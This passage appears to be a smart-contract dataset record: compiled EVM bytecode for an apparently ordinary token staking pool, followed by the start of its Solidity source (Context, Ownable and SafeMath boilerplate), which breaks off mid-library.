00604082015250565b6000612c626042836125f6565b9150612c6d82612be0565b606082019050919050565b60006020820190508181036000830152612c9181612c55565b9050919050565b7f415059206d7573742062652062656c6f77203130303030250000000000000000600082015250565b6000612cce6018836125f6565b9150612cd982612c98565b602082019050919050565b60006020820190508181036000830152612cfd81612cc1565b9050919050565b6000604082019050612d1960008301856125cc565b612d2660208301846123d1565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d896021836125f6565b9150612d9482612d2d565b604082019050919050565b60006020820190508181036000830152612db881612d7c565b9050919050565b6000606082019050612dd460008301866125cc565b612de160208301856125cc565b612dee60408301846123d1565b949350505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612e2c601b836125f6565b9150612e3782612df6565b602082019050919050565b60006020820190508181036000830152612e5b81612e1f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ebe6026836125f6565b9150612ec982612e62565b604082019050919050565b60006020820190508181036000830152612eed81612eb1565b9050919050565b60008115159050919050565b612f0981612ef4565b8114612f1457600080fd5b50565b600081519050612f2681612f00565b92915050565b600060208284031215612f4257612f416123fb565b5b6000612f5084828501612f17565b91505092915050565b7f5361666542455032303a204245503230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6000612fb5602a836125f6565b9150612fc082612f59565b604082019050919050565b60006020820190508181036000830152612fe481612fa8565b9050919050565b600081519050919050565b60005b83811015613014578082015181840152602081019050612ff9565b83811115613023576000848401525b50505050565b6000601f19601f8301169050919050565b600061304582612feb565b61304f81856125f6565b935061305f818560208601612ff6565b61306881613029565b840191505092915050565b6000602082019050818103600083015261308d818461303a565b905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b60006130cb601d836125f6565b91506130d682613095565b602082019050919050565b600060208201905081810360008301526130fa816130be565b9050919050565b600081519050919050565b600081905092915050565b600061312282613101565b61312c818561310c565b935061313c818560208601612ff6565b80840191505092915050565b60006131548284613117565b91508190509291505056fea264697066735822122053e2f3d9a5447f1cb74a9f82dfb901d1926b253e797a13dd72e45b6c3491061a64736f6c634300080b0033
|
608060405234801561001057600080fd5b50600436106101735760003560e01c806380dc0672116100de578063a913a5f711610097578063f2fde38b11610071578063f2fde38b146103a8578063f40f0f52146103c4578063f7c618c1146103f4578063ff16ef391461041257610173565b8063a913a5f714610352578063b6b55f2514610382578063db2e21bc1461039e57610173565b806380dc0672146102b6578063817b1cd2146102c05780638c09c135146102de5780638da5cb5b146102fa5780638e0b019814610318578063999e2f751461033457610173565b8063630b5ba111610130578063630b5ba11461023e578063715018a61461024857806372f702f314610252578063746c8ae11461027057806378c196f31461027a5780637b280def1461029857610173565b806304554443146101785780631526fe27146101965780631959a002146101c95780633279beab146101fa5780633bcfc4b8146102165780633ccfd60b14610234575b600080fd5b61018061042e565b60405161018d91906123e0565b60405180910390f35b6101b060048036038101906101ab919061242c565b610434565b6040516101c094939291906124d8565b60405180910390f35b6101e360048036038101906101de919061255b565b610494565b6040516101f1929190612588565b60405180910390f35b610214600480360381019061020f919061242c565b6104b8565b005b61021e610684565b60405161022b91906123e0565b60405180910390f35b61023c61068a565b005b610246610a7c565b005b610250610b44565b005b61025a610c97565b60405161026791906125b1565b60405180910390f35b610278610cbb565b005b610282610de9565b60405161028f91906123e0565b60405180910390f35b6102a0610e97565b6040516102ad91906123e0565b60405180910390f35b6102be610e9d565b005b6102c8610f46565b6040516102d591906123e0565b60405180910390f35b6102f860048036038101906102f3919061242c565b610f4c565b005b610302611031565b60405161030f91906125db565b60405180910390f35b610332600480360381019061032d919061242c565b61105a565b005b61033c61113d565b60405161034991906123e0565b60405180910390f35b61036c6004803603810190610367919061255b565b6111c7565b60405161037991906123e0565b60405180910390f35b61039c6004803603810190610397919061242c565b6111df565b005b6103a66116ac565b005b6103c260048036038101906103bd919061255b565b6118f6565b005b6103de60048036038101906103d9919061255b565b611997565b6040516103eb91906123e0565b60405180910390f35b6103fc611b0c565b60405161040991906125b1565b60405180910390f35b61042c6004803603810190610427919061242c565b611b30565b005b60055481565b6007818154811061044457600080fd5b90600052602060002090600402016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154905084565b60086020528060005260406000206000915090508060000154908060010154905082565b6104c0611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612653565b60405180910390fd5b6003547f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105a991906125db565b602060405180830381865afa1580156105c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ea9190612688565b6105f491906126e4565b811115610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90612764565b60405180910390fd5b61068133827f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b50565b60045481565b600260015414156106d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c7906127d0565b60405180910390fd5b600260018190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561075a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107519061283c565b60405180910390fd5b600060076000815481106107715761077061285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015490506107d76000611cac565b6000610821836001015461081364e8d4a5100061080588600301548860000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b905060008111156108c257610834610de9565b811115610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d90612923565b60405180910390fd5b6108c133827f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b600082111561093e576000836000018190555081600360008282546108e791906126e4565b9250508190555061093d33838660000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b61097064e8d4a5100061096286600301548660000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b83600101819055506000836000015411156109db57600554426109939190612943565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a21565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436483604051610a6791906123e0565b60405180910390a25050505060018081905550565b610a84611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0890612653565b60405180910390fd5b6000600780549050905060005b81811015610b4057610b2f81611cac565b80610b3990612999565b9050610b1e565b5050565b610b4c611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612653565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea081565b610cc3611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790612653565b60405180910390fd5b63014ca2bf6007600081548110610d6a57610d6961285c565b5b90600052602060002090600402016002015414610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db390612a2e565b60405180910390fd5b426007600081548110610dd257610dd161285c565b5b906000526020600020906004020160020181905550565b60006003547f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e4791906125db565b602060405180830381865afa158015610e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e889190612688565b610e9291906126e4565b905090565b60065481565b610ea5611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2990612653565b60405180910390fd5b610f3c6000611cac565b6000600481905550565b60035481565b610f54611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890612653565b60405180910390fd5b6224ea00811115611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e90612a9a565b60405180910390fd5b8060058190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611062611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690612653565b60405180910390fd5b6014811115611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612b06565b60405180910390fd5b8060068190555050565b60008060076000815481106111555761115461285c565b5b90600052602060002090600402019050428160020154111561117b5760009150506111c4565b6301e13380606460045460035484600201544261119891906126e4565b6111a29190612b26565b6111ac9190612b26565b6111b69190612baf565b6111c09190612baf565b9150505b90565b60026020528060005260406000206000915090505481565b60026001541415611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906127d0565b60405180910390fd5b60026001819055506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156112c757600554426112839190612943565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600060076000815481106112de576112dd61285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061133b6000611cac565b600081600001541115611435576000611392826001015461138464e8d4a5100061137687600301548760000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b90506000811115611433576113a5610de9565b8111156113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de90612c78565b60405180910390fd5b61143233827f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea073ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b5b505b6000808411156116175760008360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161149e91906125db565b602060405180830381865afa1580156114bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114df9190612688565b90506115323330878760000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ea0909392919063ffffffff16565b808460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161159091906125db565b602060405180830381865afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190612688565b6115db91906126e4565b91506115f4828460000154611f2990919063ffffffff16565b8360000181905550816003600082825461160e9190612943565b92505081905550505b61164964e8d4a5100061163b85600301548560000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b82600101819055503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c8560405161169791906123e0565b60405180910390a25050506001808190555050565b600260015414156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e9906127d0565b60405180910390fd5b6002600181905550600060076000815481106117115761171061285c565b5b906000526020600020906004020190506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001549050806003600082825461177f91906126e4565b9250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117f4576064600654826117dc9190612b26565b6117e69190612baf565b816117f191906126e4565b90505b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188833828560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611c269092919063ffffffff16565b60008260000181905550600082600101819055503373ffffffffffffffffffffffffffffffffffffffff167f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695826040516118e291906123e0565b60405180910390a250505060018081905550565b6118fe611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612653565b60405180910390fd5b61199481611f87565b50565b60008060076000815481106119af576119ae61285c565b5b906000526020600020906004020190506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905063014ca2bf82600201541415611a1d57600092505050611b07565b60008260030154905060006003549050836002015442118015611a41575060008114155b15611abc576000611a7a600954611a6c8760010154611a5e61113d565b611d9190919063ffffffff16565b611e0c90919063ffffffff16565b9050611ab8611aa983611a9b64e8d4a5100085611d9190919063ffffffff16565b611e0c90919063ffffffff16565b84611f2990919063ffffffff16565b9250505b611b008360010154611af264e8d4a51000611ae4868860000154611d9190919063ffffffff16565b611e0c90919063ffffffff16565b611e5690919063ffffffff16565b9450505050505b919050565b7f000000000000000000000000486d95c40feba650c38e98cd9d7979d9cd88cea081565b611b38611c1e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbc90612653565b60405180910390fd5b612710811115611c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0190612ce4565b60405180910390fd5b611c146000611cac565b8060048190555050565b600033905090565b611ca78363a9059cbb60e01b8484604051602401611c45929190612d04565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120b4565b505050565b600060078281548110611cc257611cc161285c565b5b9060005260206000209060040201905080600201544211611ce35750611d8e565b600060035490506000811415611d03574282600201819055505050611d8e565b6000611d37600954611d298560010154611d1b61113d565b611d9190919063ffffffff16565b611e0c90919063ffffffff16565b9050611d79611d6683611d5864e8d4a5100085611d9190919063ffffffff16565b611e0c90919063ffffffff16565b8460030154611f2990919063ffffffff16565b83600301819055504283600201819055505050505b50565b600080831415611da45760009050611e06565b60008284611db29190612b26565b9050828482611dc19190612baf565b14611e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df890612d9f565b60405180910390fd5b809150505b92915050565b6000611e4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217b565b905092915050565b6000611e9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121de565b905092915050565b611f23846323b872dd60e01b858585604051602401611ec193929190612dbf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120b4565b50505050565b6000808284611f389190612943565b905083811015611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7490612e42565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90612ed4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000612116826040518060400160405280602081526020017f5361666542455032303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166122429092919063ffffffff16565b905060008151111561217657808060200190518101906121369190612f2c565b612175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216c90612fcb565b60405180910390fd5b5b505050565b600080831182906121c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b99190613073565b60405180910390fd5b50600083856121d19190612baf565b9050809150509392505050565b6000838311158290612226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221d9190613073565b60405180910390fd5b506000838561223591906126e4565b9050809150509392505050565b6060612251848460008561225a565b90509392505050565b60606122658561237c565b6122a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229b906130e1565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516122cd9190613148565b60006040518083038185875af1925050503d806000811461230a576040519150601f19603f3d011682016040523d82523d6000602084013e61230f565b606091505b50915091508115612324578092505050612374565b6000815111156123375780518082602001fd5b836040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b9190613073565b60405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91508082141580156123be57506000801b8214155b92505050919050565b6000819050919050565b6123da816123c7565b82525050565b60006020820190506123f560008301846123d1565b92915050565b600080fd5b612409816123c7565b811461241457600080fd5b50565b60008135905061242681612400565b92915050565b600060208284031215612442576124416123fb565b5b600061245084828501612417565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061249e61249961249484612459565b612479565b612459565b9050919050565b60006124b082612483565b9050919050565b60006124c2826124a5565b9050919050565b6124d2816124b7565b82525050565b60006080820190506124ed60008301876124c9565b6124fa60208301866123d1565b61250760408301856123d1565b61251460608301846123d1565b95945050505050565b600061252882612459565b9050919050565b6125388161251d565b811461254357600080fd5b50565b6000813590506125558161252f565b92915050565b600060208284031215612571576125706123fb565b5b600061257f84828501612546565b91505092915050565b600060408201905061259d60008301856123d1565b6125aa60208301846123d1565b9392505050565b60006020820190506125c660008301846124c9565b92915050565b6125d58161251d565b82525050565b60006020820190506125f060008301846125cc565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061263d6020836125f6565b915061264882612607565b602082019050919050565b6000602082019050818103600083015261266c81612630565b9050919050565b60008151905061268281612400565b92915050565b60006020828403121561269e5761269d6123fb565b5b60006126ac84828501612673565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ef826123c7565b91506126fa836123c7565b92508282101561270d5761270c6126b5565b5b828203905092915050565b7f6e6f7420656e6f75676820746f6b656e7320746f2074616b65206f7574000000600082015250565b600061274e601d836125f6565b915061275982612718565b602082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b60006127ba601f836125f6565b91506127c582612784565b602082019050919050565b600060208201905081810360008301526127e9816127ad565b9050919050565b7f4d6179206e6f7420646f206e6f726d616c207769746864726177206561726c79600082015250565b60006128266020836125f6565b9150612831826127f0565b602082019050919050565b6000602082019050818103600083015261285581612819565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f43616e6e6f74207769746864726177206f746865722070656f706c652773207360008201527f74616b656420746f6b656e732e2020436f6e7461637420616e2061646d696e2060208201527f422e000000000000000000000000000000000000000000000000000000000000604082015250565b600061290d6042836125f6565b91506129188261288b565b606082019050919050565b6000602082019050818103600083015261293c81612900565b9050919050565b600061294e826123c7565b9150612959836123c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561298e5761298d6126b5565b5b828201905092915050565b60006129a4826123c7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129d7576129d66126b5565b5b600182019050919050565b7f43616e206f6e6c792073746172742072657761726473206f6e63650000000000600082015250565b6000612a18601b836125f6565b9150612a23826129e2565b602082019050919050565b60006020820190508181036000830152612a4781612a0b565b9050919050565b7f4475726174696f6e206d7573742062652062656c6f772032207765656b730000600082015250565b6000612a84601e836125f6565b9150612a8f82612a4e565b602082019050919050565b60006020820190508181036000830152612ab381612a77565b9050919050565b7f4d6179206e6f742073657420686967686572207468616e203230250000000000600082015250565b6000612af0601b836125f6565b9150612afb82612aba565b602082019050919050565b60006020820190508181036000830152612b1f81612ae3565b9050919050565b6000612b31826123c7565b9150612b3c836123c7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b7557612b746126b5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612bba826123c7565b9150612bc5836123c7565b925082612bd557612bd4612b80565b5b828204905092915050565b7f43616e6e6f74207769746864726177206f746865722070656f706c652773207360008201527f74616b656420746f6b656e732e2020436f6e7461637420616e2061646d696e2060208201527f412e000000000000000000000000000000000000000000000000000000000000604082015250565b6000612c626042836125f6565b9150612c6d82612be0565b606082019050919050565b60006020820190508181036000830152612c9181612c55565b9050919050565b7f415059206d7573742062652062656c6f77203130303030250000000000000000600082015250565b6000612cce6018836125f6565b9150612cd982612c98565b602082019050919050565b60006020820190508181036000830152612cfd81612cc1565b9050919050565b6000604082019050612d1960008301856125cc565b612d2660208301846123d1565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612d896021836125f6565b9150612d9482612d2d565b604082019050919050565b60006020820190508181036000830152612db881612d7c565b9050919050565b6000606082019050612dd460008301866125cc565b612de160208301856125cc565b612dee60408301846123d1565b949350505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612e2c601b836125f6565b9150612e3782612df6565b602082019050919050565b60006020820190508181036000830152612e5b81612e1f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ebe6026836125f6565b9150612ec982612e62565b604082019050919050565b60006020820190508181036000830152612eed81612eb1565b9050919050565b60008115159050919050565b612f0981612ef4565b8114612f1457600080fd5b50565b600081519050612f2681612f00565b92915050565b600060208284031215612f4257612f416123fb565b5b6000612f5084828501612f17565b91505092915050565b7f5361666542455032303a204245503230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b6000612fb5602a836125f6565b9150612fc082612f59565b604082019050919050565b60006020820190508181036000830152612fe481612fa8565b9050919050565b600081519050919050565b60005b83811015613014578082015181840152602081019050612ff9565b83811115613023576000848401525b50505050565b6000601f19601f8301169050919050565b600061304582612feb565b61304f81856125f6565b935061305f818560208601612ff6565b61306881613029565b840191505092915050565b6000602082019050818103600083015261308d818461303a565b905092915050565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b60006130cb601d836125f6565b91506130d682613095565b602082019050919050565b600060208201905081810360008301526130fa816130be565b9050919050565b600081519050919050565b600081905092915050565b600061312282613101565b61312c818561310c565b935061313c818560208601612ff6565b80840191505092915050565b60006131548284613117565b91508190509291505056fea264697066735822122053e2f3d9a5447f1cb74a9f82dfb901d1926b253e797a13dd72e45b6c3491061a64736f6c634300080b0033
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.11;
//import "@nomiclabs/buidler/console.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
